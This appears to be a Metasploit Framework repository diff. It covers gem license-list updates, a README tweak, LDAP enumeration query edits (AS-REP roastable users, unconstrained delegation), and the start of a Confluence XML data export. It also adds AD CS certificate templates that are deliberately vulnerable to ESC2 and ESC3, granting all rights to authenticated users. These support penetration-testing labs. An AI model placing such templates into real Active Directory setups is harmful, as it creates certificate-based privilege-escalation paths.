jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
json, 2.7.2, ruby
|
||||
language_server-protocol, 3.17.0.3, MIT
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
loofah, 2.22.0, MIT
|
||||
macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.5, "New BSD"
|
||||
metasploit-framework, 6.3.38, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.156, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.9, "New BSD"
|
||||
metasploit-framework, 6.4.9, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mime-types, 3.4.1, MIT
|
||||
mime-types-data, 3.2023.0218.1, MIT
|
||||
mini_portile2, 2.8.2, MIT
|
||||
minitest, 5.18.0, MIT
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.5.2, MIT
|
||||
mime-types-data, 3.2024.0305, MIT
|
||||
mini_portile2, 2.8.6, MIT
|
||||
minitest, 5.22.3, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-imap, 0.3.7, "ruby, Simplified BSD"
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.3, "ruby, Simplified BSD"
|
||||
net-ssh, 7.1.0, MIT
|
||||
net-imap, 0.4.10, "ruby, Simplified BSD"
|
||||
net-ldap, 0.19.0, MIT
|
||||
net-protocol, 0.2.2, "ruby, Simplified BSD"
|
||||
net-smtp, 0.5.0, "ruby, Simplified BSD"
|
||||
net-ssh, 7.2.3, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.9, MIT
|
||||
nio4r, 2.7.1, "MIT, Simplified BSD"
|
||||
nokogiri, 1.14.5, MIT
|
||||
nori, 2.6.0, MIT
|
||||
nori, 2.7.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.3, MIT
|
||||
parallel, 1.24.0, MIT
|
||||
parser, 3.3.0.5, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.5.3, "Simplified BSD"
|
||||
pcaprub, 0.13.2, LGPL-2.1
|
||||
pdf-reader, 2.12.0, MIT
|
||||
pg, 1.5.6, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.1, MIT
|
||||
puma, 6.3.0, "New BSD"
|
||||
racc, 1.7.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.7, MIT
|
||||
rack-protection, 3.0.6, MIT
|
||||
public_suffix, 5.0.5, MIT
|
||||
puma, 6.4.2, "New BSD"
|
||||
racc, 1.7.3, "ruby, Simplified BSD"
|
||||
rack, 2.2.9, MIT
|
||||
rack-protection, 3.2.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.5, MIT
|
||||
railties, 7.0.8.1, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.1, unknown
|
||||
recog, 3.1.5, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.8.0, MIT
|
||||
reline, 0.3.5, ruby
|
||||
regexp_parser, 2.9.0, MIT
|
||||
reline, 0.5.2, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-arch, 0.1.15, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
rex-core, 0.1.31, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.38, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
rex-ole, 0.1.7, "New BSD"
|
||||
rex-powershell, 0.1.97, "New BSD"
|
||||
rex-random_identifier, 0.1.10, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.54, "New BSD"
|
||||
rex-sslscan, 0.1.9, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.52, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.39, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
rex-mime, 0.1.8, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.99, "New BSD"
|
||||
rex-random_identifier, 0.1.11, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.57, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.57, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.2.6, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.5, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.0, MIT
|
||||
rspec-expectations, 3.13.0, MIT
|
||||
rspec-mocks, 3.13.0, MIT
|
||||
rspec-rails, 6.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.0, MIT
|
||||
rubocop, 1.52.0, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-mysql, 4.0.0, MIT
|
||||
rspec-support, 3.13.1, MIT
|
||||
rubocop, 1.63.2, MIT
|
||||
rubocop-ast, 1.31.2, MIT
|
||||
ruby-macho, 4.0.1, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.2.5, "New BSD"
|
||||
ruby_smb, 3.3.7, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.0.6, MIT
|
||||
sqlite3, 1.6.3, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
sinatra, 3.2.0, MIT
|
||||
sqlite3, 1.6.6, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.2.2, MIT
|
||||
test-prof, 1.3.2, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
tilt, 2.2.0, MIT
|
||||
timecop, 0.9.6, MIT
|
||||
timeout, 0.4.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
thor, 1.3.1, MIT
|
||||
tilt, 2.3.0, MIT
|
||||
timecop, 0.9.8, MIT
|
||||
timeout, 0.4.1, "ruby, Simplified BSD"
|
||||
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
tzinfo-data, 1.2024.1, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.4.2, MIT
|
||||
unicode-display_width, 2.5.0, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
uuid, 2.3.9, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.8.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.5, "Apache 2.0"
|
||||
websocket-driver, 0.7.6, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.34, MIT
|
||||
zeitwerk, 2.6.8, MIT
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.36, MIT
|
||||
zeitwerk, 2.6.13, MIT
|
||||
|
||||
@@ -34,10 +34,8 @@ Using Metasploit
|
||||
--
|
||||
Metasploit can do all sorts of things. The first thing you'll want to do
|
||||
is start `msfconsole`, but after that, you'll probably be best served by
|
||||
reading [Metasploit Unleashed][unleashed], the [great community
|
||||
resources](https://metasploit.github.io), or take a look at the
|
||||
[Using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
|
||||
page on the documentation website.
|
||||
reading the basics of [using Metasploit](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)
|
||||
or [Metasploit Unleashed][unleashed].
|
||||
|
||||
Contributing
|
||||
--
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC 1 (subject name supplied in
|
||||
# Creates a template that will be vulnerable to ESC1 (subject name supplied in
|
||||
# the request). Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC2 (any purpose EKU).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Any Purpose OID
|
||||
- 2.5.29.37.0
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -0,0 +1,30 @@
|
||||
---
|
||||
# Creates a template that will be vulnerable to ESC3 (certificate request agent EKU).
|
||||
# Fields are based on the SubCA template. For field descriptions,
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
|
||||
showInAdvancedViewOnly: 'TRUE'
|
||||
# this security descriptor grants all permissions to all authenticated users
|
||||
nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
flags: 0
|
||||
pKIDefaultKeySpec: 2
|
||||
pKIKeyUsage: !binary |-
|
||||
hgA=
|
||||
pKIMaxIssuingDepth: 0
|
||||
pKICriticalExtensions:
|
||||
- 2.5.29.19
|
||||
- 2.5.29.15
|
||||
pKIExtendedKeyUsage:
|
||||
# Certificate Request Agent OID
|
||||
- 1.3.6.1.4.1.311.20.2.1
|
||||
pKIExpirationPeriod: !binary |-
|
||||
AEAepOhl+v8=
|
||||
pKIOverlapPeriod: !binary |-
|
||||
AICmCv/e//8=
|
||||
pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
|
||||
msPKI-RA-Signature: 0
|
||||
msPKI-Enrollment-Flag: 0
|
||||
# CT_FLAG_EXPORTABLE_KEY
|
||||
msPKI-Private-Key-Flag: 0x10
|
||||
# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
msPKI-Certificate-Name-Flag: 0x82000000
|
||||
msPKI-Minimal-Key-Size: 2048
|
||||
@@ -135,7 +135,7 @@ queries:
|
||||
- https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/
|
||||
- https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
|
||||
- action: ENUM_DNS_ZONES
|
||||
description: 'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.'
|
||||
description: 'Dump all known DNS zones using the dnsZone object class under the DC DomainDnsZones. Without A BASEDN prefix you can miss certain entries.'
|
||||
filter: '(objectClass=dnsZone)'
|
||||
base_dn_prefix: 'DC=DomainDnsZones'
|
||||
attributes:
|
||||
@@ -224,6 +224,7 @@ queries:
|
||||
- adminCount
|
||||
- managedBy
|
||||
- groupAttributes
|
||||
- objectSID
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_GROUP_POLICY_OBJECTS
|
||||
@@ -292,7 +293,7 @@ queries:
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_UNCONSTRAINED_DELEGATION
|
||||
description: 'Dump info about all known objects that allow uncontrained delegation.'
|
||||
description: 'Dump info about all known objects that allow unconstrained delegation.'
|
||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
||||
attributes:
|
||||
- cn
|
||||
@@ -325,7 +326,7 @@ queries:
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
|
||||
- action: ENUM_USER_ASREP_ROASTABLE
|
||||
description: 'Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.'
|
||||
description: 'Dump all users who are configured not to require kerberos pre-authentication, i.e. AS-REP roastable.'
|
||||
filter: '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
|
||||
attributes:
|
||||
- cn
|
||||
|
||||
@@ -16,6 +16,8 @@ services:
|
||||
enabled: yes
|
||||
- type: IMAP
|
||||
enabled: yes
|
||||
- type: LDAP
|
||||
enabled: yes
|
||||
- type: MSSQL
|
||||
enabled: yes
|
||||
- type: MySQL
|
||||
|
||||
@@ -0,0 +1,4685 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<hibernate-generic datetime="2023-11-09 06:05:20">
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196658</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196654</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196655</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196656</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196657</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196650</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196651</id>
|
||||
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196652</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196653</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196646</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196647</id>
|
||||
<property name="destinationPageTitle"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196648</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196649</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196642</id>
|
||||
